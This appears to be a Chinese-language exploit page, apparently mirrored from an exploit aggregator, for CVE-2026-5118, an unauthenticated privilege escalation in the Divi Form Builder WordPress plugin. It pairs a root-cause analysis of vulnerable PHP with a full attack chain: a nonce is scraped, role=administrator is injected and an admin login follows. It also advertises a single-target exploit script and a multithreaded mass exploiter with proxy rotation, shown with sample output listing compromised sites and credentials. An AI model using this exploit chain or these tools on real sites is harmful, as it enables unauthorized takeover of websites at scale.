## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-1BEELZE-CVE-2026-5118
# CVE-2026-5118 — Divi Form Builder ≤ 5.1.2
**未认证权限提升(通过角色注入)**
_=== Beelze ( 零日漏洞 1diot9 ) ===_
    
* * *
## 📋 漏洞信息
字段| 详情
---|---
**CVE ID**| CVE-2026-5118
**CVSS 评分**| 9.8 (严重)
**CVSS 向量**| `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H`
**CWE**| CWE-269 — 不恰当的权限管理
**插件**| Divi Form Builder (由 Divi Engine 开发)
**受影响版本**| 所有版本 ≤ 5.1.2
**已修复版本**| 5.1.3 (2026年4月13日)
**公开日期**| 2026年5月20日
**研究人员**| 0xd4rk5id3 — EnvoraSec
**PoC**| Beelze ( 零日漏洞 1diot9 )
* * *
## 🔍 描述
**Divi Form Builder** WordPress 插件在 **5.1.2** 及之前所有版本中存在 **未认证权限提升** 漏洞。
位于 `FormSubmissionHandler.php` 中的 `create_user()` 函数在用户注册过程中,从 POST 数据中接受用户控制的 `role` 参数,**但未将该参数与表单配置的`default_user_role` 设置进行验证**。唯一的"保护"是 `sanitize_text_field()` —— 它仅去除 HTML 标签和编码,但 **完全无法** 将值限制在安全角色范围内 —— 随后进行的存在性检查仅验证该角色在 WordPress 中是否存在(而 `administrator` 始终存在)。
这三重缺陷使得未认证攻击者能够:
1. 找到 **任意** 包含 Divi Form Builder 表单的页面(联系表单、报价表单、新闻通讯表单等)
2. 从 `de_fb_obj` JavaScript 对象中提取 **全局共享的 nonce** (`fb_nonce`)
3. 通过 POST 覆盖 `form_type` 为 `register` —— 将任何表单变成注册入口
4. 在 AJAX 提交中注入 `role=administrator`
5. 使用攻击者控制的凭证创建 **完全的管理员账号**
> **结果:** 完全接管网站 —— 零认证、零用户交互、仅需一个 POST 请求。
* * *
## 🧬 根因分析
### 1\. 未清洗的角色来源(从 POST 数据获取)
root@kitploit:~
// includes/shared/handlers/FormSubmissionHandler.php — create_user() ~line 2250
$role = isset($form_data['role'])
? sanitize_text_field($form_data['role']) // ← 仅去除标签/编码!
: 'subscriber'; // ← 'administrator' 原样通过
`sanitize_text_field()` 专为自由文本清理(XSS 防护)设计。它 **不会** 根据安全角色的白名单进行验证。字符串 `"administrator"` 不包含任何 HTML 标签或特殊编码 —— 它完全不受影响地通过。
### 2\. 仅存在性验证 —— 非安全检查
root@kitploit:~
// ~line 2278
$roles_obj = wp_roles();
if ($roles_obj && is_object($roles_obj) && is_array($roles_obj->roles) &&
!isset($roles_obj->roles[$role])) {
$role = 'subscriber'; // ← 仅当角色不存在时回退
}
该检查询问: _"这个角色在 WordPress 中存在吗?"_ —— 而 `administrator` **始终存在** 。它从未提出正确的问题: _"这个角色对于公开展示的自我注册是否安全?"_ 正确的检查应针对像 `['subscriber', 'contributor']` 这样的白名单进行验证,或强制使用表单的 `default_user_role` 设置。
### 3\. 无能力门控的直接角色分配
root@kitploit:~
// ~line 2301
$user = new WP_User($user_id);
$user->set_role($role); // ← 攻击者控制的角色直接应用
没有 `current_user_can('create_users')` 检查。没有 `current_user_can('promote_users')` 检查。没有任何类型的能力验证。攻击者提供的角色直接传递给 `set_role()`。
### 4\. 全局共享 nonce —— 在每个包含表单的页面上暴露
root@kitploit:~
// 前端 JS 本地化
wp_localize_script('de-fb-scripts', 'de_fb_obj', [
'ajax_url' => admin_url('admin-ajax.php'),
'nonce' => wp_create_nonce('security'), // ← 所有表单、所有页面使用相同的 nonce
// ...
]);
`fb_nonce` 通过 `wp_create_nonce('security')` 创建 —— 一个在站点上每个 DFB 表单之间共享的通用操作字符串。任何访客都可以通过阅读页面源码中的 `de_fb_obj` JavaScript 对象来提取它。
### 5\. 表单类型覆盖 —— 任何表单变成注册端点
root@kitploit:~
// AJAX 处理器
$form_type = isset($_POST['form_type']) ? $_POST['form_type'] : '';
if ($form_type === 'register') {
$this->create_user($form_data); // ← 由 POST 覆盖触发!
}
`form_type` 从 POST 数据中读取,而非服务端表单配置。攻击者可以向 **任意** DFB AJAX 提交发送 `form_type=register` —— 联系表单、报价请求、新闻通讯注册 —— 而服务器将执行注册代码路径。表单的原始目的无关紧要。
* * *
## ⚔️ 攻击链
root@kitploit:~
[未认证攻击者]
│
▼
GET /任意包含 DFB 表单的页面/
← HTML 源码: de_fb_obj = {"nonce":"abc123def0", ...}
│
▼
从 de_fb_obj JavaScript 对象中提取 fb_nonce
│
▼
POST /wp-admin/admin-ajax.php
┌──────────────────────────────────────────────┐
│ action = de_fb_ajax_submit_ajax_handler │
│ fb_nonce = abc123def0 │
│ role = administrator ← 注入的 │
│ form_type = register ← 覆盖的 │
│ user_login = attacker_admin │
│ user_pass = AttackerPass123! │
│ user_email = some-email@example.com │
└──────────────────────────────────────────────┘
│
▼
sanitize_text_field('administrator') → 'administrator' ✓ 通过
wp_roles()->roles['administrator'] 存在?→ 是 ✓ 通过
$user->set_role('administrator') ✓ 无能力检查
│
▼
← {"success": true, "data": {"message": "User created"}}
│
▼
POST /wp-login.php
log=attacker_admin & pwd=AttackerPass123!
← 302 → /wp-admin/
│
▼
[完全管理员访问权限] 🔥
* * *
## 🛠️ 工具
### `CVE-2026-5118.py` —— 单目标利用
完整的 5 阶段利用链,包含自动表单发现和 nonce 提取。
root@kitploit:~
python3 CVE-2026-5118.py
root@kitploit:~
目标 URL: https://target.com
用户名 [beelze_admin]:
密码 [Beelze123!!@#!]:
邮箱 [some-email@example.com]:
超时(秒)[15]:
SOCKS5 代理(留空 = 无):
**利用阶段:**
root@kitploit:~
阶段 1 ▶ 可达性检测 (HTTPS + HTTP 回退)
阶段 2 ▶ 插件检测 (readme.txt 版本检查)
阶段 3 ▶ 表单发现与 Nonce 提取
├── REST API 页面扫描
├── 常见路径探测
├── 站点地图爬取
└── 首页链接爬取
阶段 4 ▶ 角色注入 (权限提升)
阶段 5 ▶ 管理员登录验证
**输出 (`scan_results/CVE-2026-5118_success.txt`):**
root@kitploit:~
https://target.com | beelze_admin:Beelze123!!@#!
* * *
### `CVE-2026-5118-mass.py` —— 批量扫描器
多线程批量利用,支持 JSONL 日志记录和恢复功能。
root@kitploit:~
python3 CVE-2026-5118-mass.py
root@kitploit:~
目标文件(每行一个 URL): targets.txt
用户名 [beelze_admin]:
密码 [Beelze123!!@#!]:
邮箱 [some-email@example.com]:
线程数 [10]:
超时(秒)[10]:
代理文件(SOCKS5,每行一个,留空 = 无):
恢复上次扫描?(y/n) [n]:
**特性:**
* 多线程扫描,可配置线程数
* SOCKS5 代理轮换
* JSONL 输出,便于程序化处理
* 恢复支持 —— 跳过已扫描的目标
* 丰富的进度条,实时统计
* HTTPS 失败时自动 HTTP 回退
**输出 (`scan_results/CVE-2026-5118_success.txt`):**
root@kitploit:~
https://target1.com | beelze_admin:Beelze123!!@#!
https://target2.com | beelze_admin:Beelze123!!@#!
* * *
## 🔒 缓解措施
* 将 Divi Form Builder 更新到 **5.1.3** 或更高版本
* 补丁强制要求分配的角色始终是服务端在表单的 `default_user_role` 设置中配置的角色,忽略任何来自 POST 数据的用户提供的 `role` 参数
* * *
**Beelze ( 零日漏洞 1diot9 )** —— 仅用于教育和授权的安全研究